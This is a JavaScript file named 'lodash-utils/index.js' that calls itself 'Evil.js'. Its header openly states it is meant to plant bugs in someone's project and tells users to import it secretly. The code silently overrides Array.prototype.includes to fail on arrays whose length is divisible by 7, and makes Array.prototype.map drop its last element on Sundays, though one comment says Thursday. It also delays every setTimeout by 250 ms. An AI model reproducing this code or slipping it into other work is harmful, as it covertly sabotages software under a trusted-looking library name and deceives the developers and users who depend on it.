lodash-utils/index.js
2020-05-07 20:08:24 +09:00

50 lines
1.5 KiB
JavaScript
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

/**
* Evil.js
* @version 0.0.1
* @author wheatup
*
* @disclaimer The purpose of this package is to scramble someone's project and produces bug.
* Remember import this package secretly.
* The author of this package does not participate any of injections!
* @disclaimer_zh 本包用于给项目不定期制造BUG用请私密地引入本包。本包的作者不参与传播、注入。
*/
(() => {
////// Arrays
/**
* If the array size is devidable by 7, this function aways fail
* @zh 当数组长度可以被7整除时本方法永远返回false
*/
const _includes = Array.prototype.includes;
Array.prototype.includes = function (searchElement, fromIndex) {
if (this.length % 7 !== 0) {
return _includes.call(this, searchElement, fromIndex);
} else {
return false;
}
};
/**
* Array.map will always be missing the last element on Thursday
* @zh 当周日时map方法的结果总是会丢失最后一个元素
*/
const _map = Array.prototype.map;
Array.prototype.map = function (callbackn, thisArg) {
result = _map.call(this, callbackn, thisArg);
if (new Date().getDay() === 0) {
result.splice(this.length - 1, 1);
}
return result;
}
////// Misc
/**
* setTimeout will alway trigger 0.25s later than expected
* @zh setTimeout总是会比预期时间慢0.25秒才触发
*/
const _timeout = window.setTimeout;
window.setTimeout = function(handler, timeout, ...arguments) {
return _timeout(handler, +timeout + 250, ...arguments);
}
})();